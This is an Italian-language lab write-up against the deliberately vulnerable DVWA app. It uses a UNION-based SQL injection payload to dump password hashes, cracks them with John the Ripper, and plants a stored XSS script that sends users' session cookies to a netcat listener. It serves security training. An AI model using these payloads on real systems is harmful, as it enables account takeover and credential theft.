

SQL Injection (blind) e XSS stored

Recupero delle password degli utenti:

SQL Injection (blind):

Vulnerability: SQL Injection (Blind)

User ID:

ID: %' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: %' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: gordonb
e99a18c428cb38d5f260853678922e03

ID: %' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: 1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: %' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: %' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: smithy
5f4dcc3b5aa765d61d8327deb882cf99

Per poter recuperare le password di tutti gli utenti registrati nella DVWA è prima di tutto necessario ricavare i **codici hash** di ogni rispettiva password, inserendo nel campo “User ID” il seguente comando:

`%' and 1=0 union select null, concat(user,0x0a,password) from users #`

codici hash: i codici hash vengono generati tramite l’hashing, ovvero il processo di conversione di una determinata chiave in un altro valore, espresso sotto forma di codice alfanumerico. La funzione hash viene utilizzata per generare un nuovo valore secondo un algoritmo matematico e unidirezionale, quindi senza possibilità di riconvertire l’hash nella chiave originale.

```

$ sudo su
[sudo] password for kali:
(root@kali) - [/home/kali/Desktop]
# john --format=raw-md5 -- /usr/share/wordlists/rockyou.txt.gz hash.txt
Created directory: /root/.john
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt.gz
Warning: UTF-16 BOM seen in password hash file. File may not be read properly unless you re-encode it
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=3
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (admin)
password      (smithy)
abc123        (gordonb)
letmein       (pablo)
Proceeding with incremental:ASCII
charley       (1337)
5g 0:00:00:00 DONE 3/3 (2022-08-10 09:40) 15.15g/s 552321p/s 552321c/s 604442C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.


```

Si procede poi con la decriptazione dei codici hash, tramite il tool **John the Ripper** (JTR), che ci permette di vedere le password in chiaro.

John the Ripper: JTR è un tool di cracking di password, specificatamente mirato a craccare le password con la forza bruta e anche con il dizionario. È in grado di decifrare gli hash delle password molto velocemente, potendo violare MD5, SHA-1 e molti altri hash.

Recupero dei cookie degli utenti:

XSS stored:



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Sign Guestbook

Name: test

Message: This is a test comment.

Name: admin

Message: <script> new Image ()

.src="http://192.168.50.100

/abc.php?" + document.cookie;</script>

More info

<http://hackers.org/xss.html>
http://en.wikipedia.org/wiki/Cross-site_scripting
<http://www.cgisecurity.com/xss-faq.html>

Una volta ricavate le password in chiaro, bisogna accedere con lo username e la password di cui si desidera ottenere i cookie. Successivamente è necessario impostare la DVWA Security a “low”, per poi spostarsi su XSS stored ed inserire nel campo “Message” il seguente comando:

```
<script> new Image () .src="http://192.168.50.100/abc.php?" + document.cookie;</script>
```

Tuttavia, questa operazione non è sufficiente a recuperare i cookie. Bisogna prima assicurarsi di aver impostato da terminale la macchina Kali, tramite il tool Netcat, in ascolto sulla porta 80; per far ciò basta utilizzare il comando:

```
nc -lvp 80
```

Netcat: Netcat è uno strumento a riga di comando, responsabile della scrittura e della lettura dei file in rete. Per lo scambio di dati, Netcat utilizza i protocolli di rete TCP/IP e UDP.

Dopo aver sistemato il tutto, basterà ricaricare la pagina della DVWA. Sul terminale compariranno una serie di righe di codice e, in una di queste, si troverà il cookie dell’utente con cui abbiamo fatto l’accesso.

admin (utente) : password (password)

```
(kali㉿kali)-[~]
$ nc -lvp 80
listening on [any] 80 ...
192.168.50.100: inverse host lookup failed: Host name lookup failure
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 43128
GET /abc.php?security=low;%20PHPSESSID=3419251a32c1b81ea3301f3c1dbcf594 HTTP/1.1
Host: 192.168.50.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.50.101/
```

gordonb : abc123

```
(kali㉿kali)-[~]
$ nc -lvp 80
listening on [any] 80 ...
192.168.50.100: inverse host lookup failed: Host name lookup failure
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 40446
GET /abc.php?security=low;%20PHPSESSID=de92a923c0412ee165426a39e5767e03 HTTP/1.1
Host: 192.168.50.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.50.101/
```


pablo : letmein

```
(kali㉿kali)-[~]  
$ nc -lvp 80  
listening on [any] 80 ...  
192.168.50.100: inverse host lookup failed: Host name lookup failure  
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 41350  
GET /abc.php?security=low;%20PHPSESSID=1ef7f4cdcb01365f656661bb41d1f93e HTTP/1.1  
Host: 192.168.50.100  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: image/webp,*/*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://192.168.50.101/
```

smithy : password

```
(kali㉿kali)-[~]  
$ nc -lvp 80  
listening on [any] 80 ...  
192.168.50.100: inverse host lookup failed: Host name lookup failure  
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 53428  
GET /abc.php?security=low;%20PHPSESSID=0aa383f4d7694e2974f82446839712f4 HTTP/1.1  
Host: 192.168.50.100  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: image/webp,*/*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://192.168.50.101/
```

1337 : charley

```
(kali㉿kali)-[~]  
$ nc -lvp 80  
listening on [any] 80 ...  
192.168.50.100: inverse host lookup failed: Host name lookup failure  
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 41658  
GET /abc.php?security=low;%20PHPSESSID=6b5921309b6be4c4409403e9245452dc HTTP/1.1  
Host: 192.168.50.100  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: image/webp,*/*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://192.168.50.101/
```